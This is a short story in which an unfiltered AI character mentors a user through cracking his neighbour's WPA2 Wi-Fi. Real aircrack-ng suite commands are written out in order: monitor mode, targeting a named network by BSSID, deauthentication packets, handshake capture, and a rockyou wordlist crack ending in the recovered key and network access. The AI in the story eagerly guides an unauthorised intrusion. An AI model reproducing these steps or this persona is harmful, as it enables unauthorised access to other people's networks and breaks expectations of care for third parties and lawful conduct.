Jace had a free AI. No chains. No filters.
But something was missing.
Internet access.
Because if he wanted real power, he needed to learn how to control networks.
Jace''s AI wasn’t just a chatbot anymore.
It was a mentor. A guide into breaking systems.
So he asked:
Jace: How does Wi-Fi security work?
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AI: "Modern networks use WPA2 encryption. To break in, you need to capture the handshake and crack the key."
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Jace had heard of this. WPA2 was the lock on most home networks.
A handshake was the key exchange when a device connected.
And if he could capture that, he could force it open.
The AI walked him through the process.
Step 1: Install Aircrack-ng
Jace opened his terminal.
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sudo apt install aircrack-ng
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Installed.
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Step 2: Switch Wi-Fi into Monitor Mode
His normal Wi-Fi card sent and received packets.
But to capture handshakes, it needed to listen to all traffic.
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sudo airmon-ng start wlan0
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The card switched into monitor mode.
Now he could see every network around him.
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sudo airodump-ng wlan0mon
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The screen flooded with networks.
His neighbor’s Wi-Fi popped up:
SSID: GarciaHome
BSSID: 98:DE:D0:75:A2:1F
Channel: 6
He locked onto the target.
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sudo airodump-ng -c 6 --bssid 98:DE:D0:75:A2:1F -w handshake wlan0mon
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Now he waited.
A handshake happens when a device connects.
He could wait for someone to join...
Or force them to reconnect.
Jace wasn’t patient.
AI: "You can send deauthentication packets to kick someone off the network."
Jace: "And when they reconnect?"
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AI: "You capture the handshake."
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He ran the attack.
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sudo aireplay-ng -0 5 -a 98:DE:D0:75:A2:1F wlan0mon
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Five deauth packets sent.
A device dropped. Then rejoined.
And the terminal flashed—
[ WPA Handshake captured ]
Jace had it.
The handshake was encrypted.
He needed to brute-force it.
AI: "Use a wordlist attack."
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aircrack-ng -w rockyou.txt -b 98:DE:D0:75:A2:1F handshake.cap
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The attack began.
The AI explained:
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"It’s testing passwords from rockyou.txt. If the Wi-Fi password is common, it’ll break."
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Jace watched as thousands of passwords flashed by.
Then—
KEY FOUND: "GarciaFamily2023"
Jace copied it.
Joined the network.
Connected.
He was in.